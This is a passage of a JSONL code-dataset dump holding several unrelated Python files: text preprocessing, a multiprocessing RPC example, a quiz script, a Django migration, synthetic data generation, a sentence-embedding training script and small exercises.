The corpora sentences (list)\n :param lowercase: change all text to lowercase? (True/False, default = True)\n :param unicode: remove Unicode punctuation? (True/False, default = True)\n :param diacritics: remove diacritics? (True/False, default = True)\n :param punctuation: remove punctuation? (True/False, default = True)\n :param digits: remove digits? (True/False, default = True)\n :return: preprocessed list of words\n \"\"\"\n\n numWords = len(document)\n i = 1\n\n logging.info('Pre-processsing %s words...', '{:,}'.format(numWords))\n\n # replace uppercase with lowercase\n if lowercase:\n document = [word.lower() for word in document]\n\n # remove unicode punctuation\n if unicode:\n document = [removeUnicodePunctuation(word) for word in document]\n\n # remove diacritics\n if diacritics:\n document = [removeDiacritics(word) for word in document]\n\n # filter punctuation, stopwords, digits\n if punctuation:\n document = [word for word in document if word not in ctPunctuationTokens]\n document = [re.sub('[' + ctPunctuation + ']', '', word) for word in document]\n\n # remove digits\n if digits:\n document = [re.sub('[' + ctDigits + ']', '', word) for word in document]\n\n logging.info('Pre-processing of %s words finished successfully!', '{:,}'.format(numWords))\n logging.info('%s words remaining', '{:,}'.format(len(document)))\n\n # Remove potential void words\n document = [word for word in document if word.strip() != '']\n\n return document\n\n\n# ------------------------------------------------------------------------\n# A function to remove morphological affixes from corpus (Snowball stemmer)\n# ------------------------------------------------------------------------\ndef doStemming(words):\n stemmed = []\n if words:\n detectedLanguage = detect(' '.join(words))\n if detectedLanguage in ctLanguages:\n stemmerLanguage = ctLanguages[detectedLanguage]\n else:\n stemmerLanguage = 'english'\n stemmer = stem.SnowballStemmer(stemmerLanguage)\n for word in words:\n stemmed.append(stemmer.stem(word))\n return stemmed\n\n\n# ------------------------------------------------------------------------\n# A function to find and mark collocations (bi-grams) in a corpus of text\n# ------------------------------------------------------------------------\n# @profile\ndef findCollocations(words, bigramMethod):\n if words:\n # Find collocations (Manning's algorithm, NLTK)\n bigramMeasures = collocations.BigramAssocMeasures()\n finder = collocations.BigramCollocationFinder.from_words(words=words, window_size=2)\n finder.apply_freq_filter(2)\n topBigrams = finder.nbest(bigramMeasures.pmi, 10000000)\n\n # Mark collocations in corpus\n if bigramMethod == 0:\n\n # ---------------------------------------------------------------------------------------\n # METHOD 3 - DICTIONARY\n # Put bi-grams in a dictionary then loop over the whole corpus once and\n # check if two successive words are part of a bi-gram from the dictionary\n # ---------------------------------------------------------------------------------------\n # +++ Very fast !\n # ---\n # ---------------------------------------------------------------------------------------\n topBigramsDict = {}\n for bigram in topBigrams:\n if not bigram[0] in topBigramsDict:\n topBigramsDict[bigram[0]] = [bigram[1]]\n else:\n topBigramsDict[bigram[0]].append(bigram[1])\n\n # Now mark collocations in corpus\n document = []\n skipIndex = -1\n for index, word in enumerate(words):\n if index != skipIndex and \\\n index < len(words) - 1 and \\\n word and words[index + 1] and \\\n word != words[index + 1] and \\\n len(word) > 1 and len(words[index + 1]) > 1 and \\\n word not in ctPunctuationTokens and words[index + 1] not in ctPunctuationTokens:\n\n if word not in topBigramsDict:\n document.append(word)\n elif words[index + 1] not in topBigramsDict[word]:\n document.append(word)\n else:\n document.append(word + '_' + words[index + 1])\n skipIndex = index + 1\n\n words.clear()\n words = document\n\n elif bigramMethod == 1:\n\n # ---------------------------------------------------------------------------------------------\n # METHOD 1 - REGEX\n # We use a regex to identify & replace all occurrences of the first bi-gram in the full corpus.\n # Then we move to the second bi-gram and so forth...\n # ---------------------------------------------------------------------------------------------\n # +++ We try to use a regex to identify all occurrences of a bi-gram in corpus.\n # Then only we move to the next bi-gram.\n # The question is: which bi-gram should we apply first?\n # By default, we start with the most frequent ones but those are also the most trivial\n # --- Very slow on larger corpora\n # The sequence of identification of all occurrences is not guaranteed\n # ---------------------------------------------------------------------------------------------\n corpus = ' '.join(words)\n for b1, b2 in topBigrams:\n if b1 and b2 and \\\n b1 != b2 and \\\n len(b1) > 1 and \\\n len(b2) > 1 and \\\n b1 not in ctPunctuationTokens and \\\n b2 not in ctPunctuationTokens:\n bigramRegex = regex.compile(r'\\b%s\\b\\s{1}\\b%s\\b' % (b1, b2))\n corpus = bigramRegex.sub(b1 + '_' + b2, corpus)\n\n words.clear()\n words = tokenize.word_tokenize(text=corpus, language='english')\n\n elif bigramMethod == 2:\n # ----------------------------------------------------------------------------------------\n # METHOD 3 - FULL SCAN\n # Apply the first bi-gram to the entire corpus, then the second and so forth...\n # ----------------------------------------------------------------------------------------\n # +++ It guarantees that a bi-gram is applied to ALL its occurrences in the text.\n # Then only we move to the next bi-gram.\n # The order of applying bi-grams to corpus is guaranteed.\n # The question is: which bi-gram should be applied first?\n # By default, we start with the most frequent ones but those are also the most trivial\n # --- Very very slow, even on smaller corpora!\n # ---------------------------------------------------------------------------------------\n for b1, b2 in topBigrams:\n if b1 and b2 and \\\n b1 != b2 and \\\n len(b1) > 1 and \\\n len(b2) > 1 and \\\n b1 not in ctPunctuationTokens and \\\n b2 not in ctPunctuationTokens:\n\n document = []\n skipIndex = -1\n for index, word in enumerate(words):\n if index != skipIndex and index < len(words) - 1:\n if word != b1:\n document.append(word)\n elif words[index + 1] != b2:\n document.append(word)\n else:\n document.append(word + '_' + words[index + 1])\n skipIndex = index + 1\n\n words.clear()\n words = document\n\n return words\n\n\n# # -------------------------------------------------------------------\n# # A function to find and mark bi-grams in a corpus of text\n# # -------------------------------------------------------------------\n# def findBigrams(sentences):\n# if sentences:\n# texts = sentences\n# data_words = list(sentencesToWords(texts))\n# bigram = gensim.models.Phrases(data_words, min_count=1, threshold=1) # higher threshold fewer phrases.\n# bigram_model = gensim.models.phrases.Phraser(bigram)\n# sentences_aux = []\n# sentences_aux = [bigram_model[doc] for doc in texts]\n# sentences = []\n# for sentence in sentences_aux:\n# sentences.append(''.join(sentence))\n# return sentences\n\n\n# ------------------------------------------------------------------------------------------------------------------\n# A function to count the relative frequencies of elements in an iterable (an unordered set of generic elements)\n# We'll use it to count the absolute frequencies of words in our corpus\n# ------------------------------------------------------------------------------------------------------------------\ndef buildDictionary(setOfWords, freqType=0):\n \"\"\" Build dictionary of unique setOfWords, with absolute / relative frequencies\n :param setOfWords: the corpus\n :param freqType: 0 = Relative, 1 = Absolute\n :return:\n\n :return: collection of setOfWords and frequencies\n \"\"\"\n dictionary = None\n if setOfWords:\n try:\n dictionary = collections.Counter()\n # Use an auxiliary Counter to compute relative (instead of absolute) frequencies\n dictionary_aux = collections.Counter(setOfWords)\n for key, value in dictionary_aux.items():\n if value > 1:\n if freqType == 0:\n dictionary[key] = value / sum(dictionary_aux.values())\n else:\n dictionary[key] = value\n dictionary_aux.clear()\n logging.info(\"Dictionary built. %s words retained.\", '{:,}'.format(len(dictionary)))\n except Exception as e:\n logging.info(repr(e))\n return dictionary\n\n\n# -------------------------------------------------------------------\n# A function to save a dictionary (key, value) to a file on disk\n# -------------------------------------------------------------------\ndef showMostFrequent(dictionary, n, type):\n \"\"\" Print most frequent n words from dictionary\n :param n: Number of most frequent n words from dictionary\n \"\"\"\n if dictionary:\n format = ''\n if type == 0:\n format = '\\t%s. %s (%.10f)'\n elif type == 1:\n format = '\\t%s. %s %s'\n logging.info('Let''s display the first %s most frequent words, along with their frequencies', n)\n for word in enumerate(dictionary.most_common(n)):\n logging.info(format, '{:,}'.format(word[0] + 1), word[1][0], word[1][1])\n\n\n# -------------------------------------------------------------------\n# A function to save a dictionary (key, value) to a file on disk\n# -------------------------------------------------------------------\ndef saveToCSVFile(text, folderName, fileName, suffix):\n \"\"\"\n :param text: text to be saved to file\n :param fileName: The sub-folder in which we'll save the file\n :param suffix: an optional suffix for the resulting dictionary file name\n \"\"\"\n fileType = 'dictionary'\n extension = '.csv'\n if text:\n fpath = os.path.join(folderName)\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n try:\n fpath = os.path.join(folderName, fileName + suffix + extension)\n logging.info(\"Saving %s to file \" % fileType + fpath)\n with open(fpath, mode='w', encoding='utf-8') as f:\n f.write(text)\n f.close()\n except Exception as e:\n logging.info(repr(e))\n\n\n# -------------------------------------------------------------------\n# A function to save a corpus to a file on disk\n# -------------------------------------------------------------------\ndef saveToFile(text, folderName, fileName, suffix):\n \"\"\"\n :param text: text to be saved to file\n :param fileName: The sub-folder in which we'll save the file\n :param suffix: an optional suffix for the resulting dictionary file name\n \"\"\"\n fileType = 'corpus'\n extension = '.txt'\n if text:\n fpath = os.path.join(folderName)\n if not os.path.exists(fpath):\n os.makedirs(fpath)\n try:\n fpath = os.path.join(folderName, fileName + suffix + extension)\n logging.info(\"Saving %s to file \" % fileType + fpath)\n with open(fpath, mode='w', encoding='utf-8') as f:\n for line in text:\n f.write(str(line) + ' ')\n f.close()\n except Exception as e:\n logging.info(repr(e))\n\n\n# ---------------------------------------------------------------------\n# A function to ask the user a question and wait for the user reply\n# We'll use it to ask the user to supply the corpus filename\n# ---------------------------------------------------------------------\ndef stringOption(question, options, default):\n \"\"\"\n :param question: The question you want to ask the user\n :param options: The possible reply options (if any)\n :param default: The default answer (if any)\n :return: The user answer, or the default option\n \"\"\"\n while True:\n answer = input(question)\n if not answer:\n return default\n else:\n if options:\n if answer in options:\n return answer\n elif not options:\n return answer\n\n\n# ---------------------------------------------------------------------\n# A function to ask the user a question and wait for a Yes/No reply\n# ---------------------------------------------------------------------\ndef boolOption(question):\n while True:\n answer = input(question + '[Y/n] : ')\n if not answer:\n return 1\n elif answer.lower() == 'y':\n return 1\n elif answer.lower() == 'n':\n return 0\n\n\n# ---------------------------------------------------------------------\n# A function to ask the user a question and wait for a numeric reply\n# ---------------------------------------------------------------------\ndef int_option(question, default=0):\n while True:\n answer = input(question)\n if not answer:\n return default\n else:\n try:\n answer_int = int(answer)\n return answer_int\n except:\n pass\n","sub_path":"Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":22985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"124823278","text":"# 11.8 원격 프로시저 호출 구현\n\n# rpcserver.py\n\nimport pickle\nclass RPCHandler:\n def __init__(self):\n self._functions = { }\n\n def register_function(self, func):\n self._functions[func.__name__] = func\n\n def handle_connection(self, connection):\n try:\n while True:\n # 메시지 받기\n func_name, args, kwargs = pickle.loads(connection.recv())\n # RPC 실행: 응답 전송\n try:\n r = self._functions[func_name](*args,**kwargs)\n connection.send(pickle.dumps(r))\n except Exception as e:\n connection.send(pickle.dumps(e))\n except EOFError:\n pass\n\n\nfrom multiprocessing.connection import Listener\nfrom threading import Thread\n\ndef rpc_server(handler, address, authkey):\n sock = Listener(address, authkey=authkey)\n while True:\n client = sock.accept()\n t = Thread(target=handler.handle_connection, args=(client,))\n t.daemon = True\n t.start()\n\n# 일급 함수\ndef add(x, y):\n return x + y\n\ndef sub(x, y):\n return x - y\n\n# 핸들러에 등록\nhandler = RPCHandler()\nhandler.register_function(add)\nhandler.register_function(sub)\n\n# 서버 실행\nrpc_server(handler, ('localhost', 17000), authkey=b'peekaboo')\n\n\nimport pickle\n\nclass RPCProxy:\n def __init__(self, connection):\n self._connection = connection\n def __getattr__(self, name):\n def do_rpc(*args, **kwargs):\n self._connection.send(pickle.dumps((name, args, kwargs)))\n result = pickle.loads(self._connection.recv())\n if isinstance(result, Exception):\n raise result\n return result\n return do_rpc\n\n\nfrom multiprocessing.connection import Client\nc = Client(('localhost', 17000), authkey=b'peekaboo')\nproxy = RPCProxy(c)\nproxy.add(2, 3)\n# 5\nproxy.sub(2, 3)\n# -1\nproxy.sub([1, 2], 4)\n# Traceback (most recent call last):\n# File \"\", line 1, in \n# File \"\", line 9, in do_rpc\n# TypeError: unsupported operand type(s) for -: 'list' and 'int'\n\n\n\n# 토론\n\n# jsonrpcserver.py\nimport json\n\nclass RPCHandler:\n def __init__(self):\n self._functions = { }\n\n def register_function(self, func):\n self._functions[func.__name__] = func\n\n def handle_connection(self, connection):\n try:\n while True:\n # 메시지 받기\n func_name, args, kwargs = json.loads(connection.recv())\n # RPC 실행, 응답 전송\n try:\n r = self._functions[func_name](*args,**kwargs)\n connection.send(json.dumps(r))\n except Exception as e:\n connection.send(json.dumps(str(e)))\n except EOFError:\n pass\n\n# jsonrpcclient.py\nimport json\n\nclass RPCProxy:\n def __init__(self, connection):\n self._connection = connection\n def __getattr__(self, name):\n def do_rpc(*args, **kwargs):\n self._connection.send(json.dumps((name, args, kwargs)))\n result = json.loads(self._connection.recv())\n return result\n return do_rpc\n","sub_path":"ch11/ex11-8.py","file_name":"ex11-8.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"590610962","text":"from analyzer.parameters.parameter import Parameter\nfrom common.model.rules.move import Move\nimport numpy, itertools\n\nclass GameLenghtCounter(Parameter):\n def __init__(self):\n super().__init__(\"GameLenghtCounter\")\n self.lenght = 0\n self.current_player = None\n \n def run(self, gamestate):\n if not gamestate.is_current_player_table_player():\n if not gamestate.current_player() == self.current_player:\n self.lenght += gamestate.model.time_per_move\n self.current_player = gamestate.current_player()\n\n def result(self):\n return self.lenght\n\n def aggregate(self, analyzers):\n values = []\n for a in analyzers:\n values.append(a.parameters[self.name].result())\n return [(self.name + \"[s]\", int(numpy.average(values)))]","sub_path":"analyzer/parameters/gamelenghtcounter.py","file_name":"gamelenghtcounter.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"426858416","text":"import random\n\ndef yes_no(question):\n valid=False\n while not valid:\n response = input (question) .lower()\n\n if response == \"yes\" or response == \"y\": \n response = \"yes\"\n return response\n \n elif response == \"no\" or response == \"n\":\n response = \"no\"\n return response \n\ndef level(question):\n valid=False\n while not valid:\n response = input (question) .lower()\n\n if response == \"3\" or response == \"three\": \n response = \"3\"\n return response\n \n elif response == \"2\" or response == \"two\":\n response = \"2\"\n return response \n\n elif response == \"1\" or response == \"one\":\n response = \"1\"\n return response \n\n else:\n (\"Plese pick 1, 2 or 3. 1 is easy, 2 is normal, 3 is hard\")\n\n\ndef type_of_quiz(question):\n valid=False\n while not valid:\n user_response = input (question) .lower()\n\n if user_response == \"multiple choice\" or user_response == \"multi\" or user_response == \"multi choice\": \n user_response = \"multiple\"\n return user_response\n \n elif user_response == \"Timed quiz\".lower() or user_response == \"timed\".lower() or user_response == \"time\".lower(): \n user_response = \"timed\"\n return user_response\n\n if user_response == \"classic quiz\".lower() or user_response == \"classic\".lower() or user_response == \"class\".lower(): \n user_response = \"class\"\n return user_response\n \n else:\n (\"thanks for playing the Te Reo Maaori Quiz\")\n\n\n#asks user if they have played the te maaori quiz\nplayed_before = yes_no (\"Have you played the Te Reo Maori quiz?\" + \"\\n\")\n# if yes, program continues\nif played_before == \"yes\":\n print(\"program continues\")\n# if no, prints the rules and says what it is\nelif played_before == \"no\":\n print(\"no\")\n\nplayed_before = level (\"What difficulty do you want to play, 1 is easy, 2 is normal, 3 is hard\" + \"\\n\")\n# if yes, program continues\nif played_before == \"3\":\n print(\"Thats great\")\n\n# if no, prints the rules and says what it is\nelif played_before == \"2\":\n print(\"Thats awesome\")\n type_of_quizes = input (\"There are 3 type of quizes, Multiple choice, timed, or classic . Which one would you like to play\".lower() + \"\\n\")\n\n if type_of_quizes == \"multi\":\n print(\"Thats awesome\")\n print(\"You will be given multiple choice and you will have to pick one\")\n\n if type_of_quizes == \"timed\" or type_of_quizes == \"time\" or type_of_quizes == \"timed quiz\" :\n print(\"Thats amazing\")\n print(\"You will be given a amount of time to answer questions\")\n\n if type_of_quizes == \"classic\":\n print(\"Thats amazing\")\n print(\"You will be given a amount of time to answer questions\")\n\nelif played_before == \"1\":\n print(\"Thats great\")\n\nelse:\n (\"Plese pick 1, 2 or 3. 1 is easy, 2 is normal, 3 is hard\")\n\n\nquiztype = type_of_quiz (\"There are 3 type of quizes, Multiple choice, timed, or classic . Which one would you like to play\" + \"\\n\")\n# if yes, program continues\nif quiztype == \"multiple choice\":\n print(\"Thats You will be given multiple choice and you will have to pick one\")\n \n\n# if no, prints the rules and says what it is\nif quiztype == \"timed\":\n print(\"Thats amazing\")\n print(\"You will be given a amount of time to answer questions\")\n\nif quiztype == \"classic\":\n print(\"Program continues\")\n\nelse:\n (\"Please type multi, timed, or classic\") \n\n# quiz questions (These are not the questions that will be in the quiz, these questions are here for testing purposes) and answers\nQnA= {\n\"How many days are there in a year?\":\"365\", \n\"How many years are in a century?\":\"100\", \n\"How many hours are in a day\":\"24\",\n\"What year is it\":\"2021\"\n} \n#The questions\nquestion = list(QnA.keys())\n#input answer here \nwhile True:\n if not question:\n break\n ques = random.choice(question)\n print(ques)\n while True:\n answer = input('Answer : ')\n # if correct, moves onto next question\n if answer == QnA[ques]:\n print(\"Correct Answer\")\n break\n else:\n #if wrong, Asks the same question again\n print(\"Wrong Answer\")\n question.remove(ques)\n\n","sub_path":"version4.py","file_name":"version4.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"49810867","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sms', '0002_auto_20160825_1542'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='smsrecord',\n name='business_type',\n field=models.IntegerField(help_text='业务类型', default=1, choices=[(1, '登入'), (2, '注册')]),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='smsrecord',\n name='ali_code',\n field=models.IntegerField(help_text='阿里返回的code', blank=True),\n ),\n ]\n","sub_path":"chaolife/sms/migrations/0003_auto_20160825_1733.py","file_name":"0003_auto_20160825_1733.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"391145951","text":"import numpy as np\nfrom keras.utils import to_categorical, normalize\n\ndef rgb2gray(rgb):\n\n r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2]\n gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n #gray = np.reshape(gray, np.shape(gray) + (1,))\n\n return gray\n\ndef unison_shuffled_copies(a, b):\n assert len(a) == len(b)\n p = np.random.permutation(len(a))\n return a[p], b[p]\n\ndef load_2D_synth(gray=True, train_frac=0.8, rounding=3, normalize=True, colour_whole_image=True, run_times=10, min_samples=1):\n \"\"\"\n Function generates synthetic data for a classification task based on coloured rectangles of varying size\n :return:\n \"\"\"\n intensities = [x / 5 for x in list(range(1, 6, 1))]\n class_list = []\n\n for i in intensities:\n for c in range(3):\n channels = np.array([0, 0, 0], dtype=np.float)\n channels[c] = i\n class_list.append(channels)\n\n class_list2 = []\n for cl in class_list:\n not_in = True\n for cl2 in class_list2:\n if np.array_equal(cl, cl2):\n not_in = False\n if not_in:\n class_list2.append(cl)\n\n class_dict = {i: c for i, c in enumerate(class_list2)}\n\n heights = range(1, 11, 3)\n widths = range(1, 11, 3)\n x_offsets = range(1, 17, 3)\n y_offsets = range(1, 17, 3)\n\n channel_dim = 1 if gray else 3\n x_data = np.zeros((0, 28, 28, channel_dim), dtype=np.float32)\n y_data = np.zeros((0), dtype=np.float32)\n\n for i,c in enumerate(class_dict):\n for height in heights:\n for width in widths:\n for x_offset in x_offsets:\n for y_offset in y_offsets:\n\n if colour_whole_image:\n x = gen_single_image_background(class_dict[c])\n else:\n for height in heights:\n for width in widths:\n for x_offset in x_offsets:\n for y_offset in y_offsets:\n x = gen_single_image_rectangle(class_dict[c], height, width, x_offset, y_offset)\n\n new_shape = (1,) + np.shape(x) if len(np.shape(x)) == 3 else (1,) + np.shape(x) + (1,)\n x = np.round(np.reshape(x, new_shape), rounding)\n\n if gray:\n x = rgb2gray(x)\n\n if normalize:\n x = normalize(\n x,\n axis=-1,\n order=2\n )\n\n #gen scalar array for true label to allow np concat\n y = np.array([c], dtype=np.float32)\n\n x_data = np.concatenate([x_data, x], axis=0)\n y_data = np.concatenate([y_data, y], axis=0)\n\n duplicate_sample_factor = int(np.ceil(min_samples / np.shape(x_data)[0]))\n x_data_dup = [x_data] + [x_data for x in range(duplicate_sample_factor-1)]\n x_data = np.concatenate(x_data_dup, axis=0)\n\n y_data_dup = [y_data] + [y_data for x in range(duplicate_sample_factor-1)]\n y_data = np.concatenate(y_data_dup, axis=0)\n\n x_data, y_data = unison_shuffled_copies(x_data, y_data)\n\n train_rows = int(len(x_data) * train_frac)\n\n x_train = x_data[0:train_rows]\n y_train = y_data[0:train_rows]\n x_test = x_data[train_rows:]\n y_test = y_data[train_rows:]\n\n y_train = to_categorical(y_train.astype('float32'))\n y_test = to_categorical(y_test.astype('float32'))\n return (x_train, y_train), (x_test, y_test)\n\ndef gen_single_image_rectangle(colour_vec, height, width, x_offset, y_offset):\n # generate in RGB to later change to grayscale if necessary\n x = np.zeros((28, 28, 3), dtype=np.float32)\n x[y_offset: y_offset + height, x_offset: x_offset + width, :] = 1 * colour_vec\n return x\n\ndef gen_single_image_background(colour_vec):\n # generate in RGB to later change to grayscale if necessary\n x = np.ones((28, 28, 3), dtype=np.float32)[:,:,:] * colour_vec\n return x\n\n\n\n\nif __name__ == '__main__':\n print('done!')","sub_path":"CapsNet-Keras/gen_synth_data.py","file_name":"gen_synth_data.py","file_ext":"py","file_size_in_byte":4143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"633135554","text":"\nimport os \nfrom mmap import mmap\n\nif __name__ == \"__main__\":\n\n\tfile_handle = os.open(\"/dev/uio1\", os.O_RDWR | os.O_NONBLOCK)\n\tmem = mmap(file_handle,16)\n\ttemparr = mem[12:14]\n\twhile 1:\n\t\tna = int.from_bytes(mem[12:14], byteorder='little' , signed=True)\n\t\tprint(na)\n\tos.close(file_handle)\n\n","sub_path":"encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"568515957","text":"# -*- coding: utf-8 -*-\n\nfrom torch.utils.data import DataLoader\nfrom sentence_transformers import losses\nfrom sentence_transformers import SentencesDataset, LoggingHandler, SentenceTransformer, evaluation\nimport logging\nfrom datetime import datetime\nfrom pocess_data_zh import get_data, get_iq_corpus\nimport os\nimport random\n\ncur_dir = os.path.split(os.path.realpath(__file__))[0]\n\n\nlogging.basicConfig(format='%(asctime)s - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO,\n handlers=[LoggingHandler()])\n\n\n# 作者在issues里提到的多语言的预训练模型 xlm-r-40langs-bert-base-nli-stsb-mean-tokens\n# 针对信息检索任务的多语言预训练模型 distilbert-multilingual-nli-stsb-quora-ranking\nmodel = SentenceTransformer('distilbert-multilingual-nli-stsb-quora-ranking')\n\n# Training for multiple epochs can be beneficial, as in each epoch a mini-batch is sampled differently\n# hence, we get different negatives for each positive\nnum_epochs = 10\n\n# Increasing the batch size improves the performance for MultipleNegativesRankingLoss. Choose it as large as possible\n# I achieved the good results with a batch size of 300-350 (requires about 30 GB of GPU memory)\ntrain_batch_size = 64\n\nmodel_save_path = os.path.join(cur_dir, 'output/training_MultipleNegativesRankingLoss-'+datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\"))\n\nos.makedirs(model_save_path, exist_ok=True)\n\ndata_file = os.path.join(cur_dir, \"data/LCCC-large.json\")\ntrain_samples = get_data(data_file)\n\n# After reading the train_samples, we create a SentencesDataset and a DataLoader\ntrain_dataset = SentencesDataset(train_samples, model=model)\ntrain_dataloader = DataLoader(train_dataset, shuffle=True, batch_size=train_batch_size)\ntrain_loss = losses.MultipleNegativesRankingLoss(model)\n\n\n###### Duplicate Questions Information Retrieval ######\nevaluators = []\ndata_file = os.path.join(cur_dir, \"data/STC.json\")\nmax_ir_num = 5000\nmax_corpus_size = 100000\nir_queries, ir_corpus, ir_relevant_docs = get_iq_corpus(data_file, max_ir_num, max_corpus_size)\n\n# Given queries, a corpus and a mapping with relevant documents, the InformationRetrievalEvaluator computes different IR\n# metrices. For our use case MRR@k and Accuracy@k are relevant.\nir_evaluator = evaluation.InformationRetrievalEvaluator(ir_queries, ir_corpus, ir_relevant_docs)\nevaluators.append(ir_evaluator)\n\n# Create a SequentialEvaluator. This SequentialEvaluator runs all three evaluators in a sequential order.\n# We optimize the model with respect to the score from the last evaluator (scores[-1])\nseq_evaluator = evaluation.SequentialEvaluator(evaluators, main_score_function=lambda scores: scores[-1])\n\nlogging.info(\"Evaluate model without training\")\nseq_evaluator(model, epoch=0, steps=0, output_path=model_save_path)\n\n# Train the model\nmodel.fit(train_objectives=[(train_dataloader, train_loss)],\n evaluator=seq_evaluator,\n epochs=num_epochs,\n warmup_steps=1000,\n output_path=model_save_path,\n output_path_ignore_not_empty=True\n )","sub_path":"examples/training/quora_duplicate_questions/training_RankingLoss_zh.py","file_name":"training_RankingLoss_zh.py","file_ext":"py","file_size_in_byte":3099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"641478889","text":"import shiboken\nfrom PySide import QtGui, QtCore\nfrom maya.OpenMayaUI import MQtUtil\nimport maya.api.OpenMaya as om\n\n\ndef get_dag_path(fullpath):\n sel = om.MSelectionList()\n sel.add(fullpath)\n return sel.getDagPath(0)\n\n\ndef get_maya_window():\n ptr = long(MQtUtil.mainWindow())\n return shiboken.wrapInstance(ptr, QtGui.QWidget)\n\n\ndef kwargs_to_jargs(**kwargs):\n '''Convenience method for generating jobArgs for alembic import and\n export.'''\n kwargs.setdefault('step', 1.0)\n kwargs.setdefault('userAttr', ['alembicID'])\n kwargs.setdefault('attrPrefix', ['sm_', 'is'])\n kwargs.setdefault('dataFormat', 'ogawa')\n paramsOrder = ['root',\n 'frameRange',\n 'step',\n 'uvWrite',\n 'writeVisibility',\n 'worldSpace',\n 'userAttr',\n 'attrPrefix',\n 'dataFormat',\n 'file',\n 'writeColorSets']\n\n params = []\n for param in paramsOrder:\n kwargs.setdefault(param, None)\n if param in [\"root\", \"attrPrefix\", 'userAttr']:\n multi = kwargs[param]\n for value in multi:\n params.append('-{0} {1}'.format(param, value))\n elif kwargs[param] is None:\n params.append('-{0}'.format(param))\n else:\n params.append('-{0} {1}'.format(param, kwargs[param]))\n\n return ' '.join(params)\n","sub_path":"abcio/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"393559244","text":"import collections\n#puzzle setup\nwith open('./day6in.txt','r') as pInput:\n pInput = pInput.read().splitlines()\n\n#do stuff\narr = ['','','','','','','','']\nans = ''\n\ndef getChars(idx):\n for x in pInput:\n arr[idx] += x[idx]\n\nfor i in range(0,len(pInput[0])):\n getChars(i)\n\nfor y in arr:\n ans += collections.Counter(y).most_common()[-1][0]\n\nprint(ans)\n","sub_path":"AoC2016/Python3/day6-2.py","file_name":"day6-2.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"410923030","text":"# В кинотеатре n рядов по m мест в каждом. В двумерном массиве хранится информация о проданных билетах,\r\n# число 1 означает, что билет на данное место уже продан, число 0 означает, что место свободно.\r\n# Поступил запрос на продажу k билетов на соседние места в одном ряду. Определите, можно ли выполнить такой запрос.\r\n# Программа получает на вход числа n и m. Далее идет n строк, содержащих m чисел (0 или 1), разделенных пробелами.\r\n# Затем дано число k.\r\n# Программа должна вывести номер ряда, в котором есть k подряд идущих свободных мест.\r\n# Если таких рядов несколько, то выведите номер наименьшего подходящего ряда.\r\n# Если подходящего ряда нет, выведите число 0.\r\n\r\nn, m = (int(s) for s in input().split()) # Кол-во рядов и мест в ряду\r\n\r\nA = [0] * m\r\n\r\nfor i in range(n):\r\n A[i] = [int(s) for s in input().split()] # Считываем данные о проданных местах рядами\r\n\r\nk = int(input()) # Требуемое кол-во мест, расположенных рядом\r\n\r\nrow = 0\r\nc = 0\r\n\r\nfor i in range(n):\r\n for j in range(m):\r\n if A[i][j] == 0:\r\n c += 1\r\n if c == k:\r\n row = i + 1\r\n break\r\n else:\r\n c = 0\r\n\r\nprint(row)\r\n","sub_path":"Available seats in a theater.py","file_name":"Available seats in a theater.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"117060053","text":"# -*- coding: utf-8 -*-\n'''\n Nombre del archivo: arbol_clasificacion.py\n Autores: \n -> Hernandez Rodríguez Alejandro\n -> Rodríguez Agiss Zuriel Uzai\n \n Fecha de creación: \n Última fecha de modificación:\n Versión de Python: 3.6\n Descripción: Código que implementa el algoritmo de árboles de clasificasión de Machine learning\n'''\n\n#Librerías necesarias para la ejecución del código\n#Pandas nos permite obtener los datos del archivo de excel\nimport pandas as pd\n#Numpy nos permite convertir los datos para que puedan ser manipulados\nimport numpy as np\n\n#Importamos los datos de un archivo CSV \ndata=pd.read_csv('2012.csv')\n#Utilizando pandas nos retorna un DataFrame así que lo convertimos a una lista de listas que va a ser nuestro trainning data\ntraining_data=np.array(data).tolist()\n\netiquetas = [\"sexo\", \"prom_bacho\",\"prom_s\",\"bachillerato\",\"ingreso_mensual\",\"trabaja\",\"tiempo_iv\",\"n_habitantes\",\"padre_esco\",\"madre_esco\",\"n_hermanos\",\"dependencia_economica\",\"razon_ingenieria\",\"A_TIEMPO\"]\n\ndef cantidadClases(filas):\n '''Contamos qué tantas respuestas distintas hay en cada columna. Va a ser útil para calcular la impureza de Gini'''\n counts = {} \n for fila in filas:\n etiqueta = fila[-1]\n if etiqueta not in counts:\n counts[etiqueta] = 0\n counts[etiqueta] += 1\n return counts\n\ndef 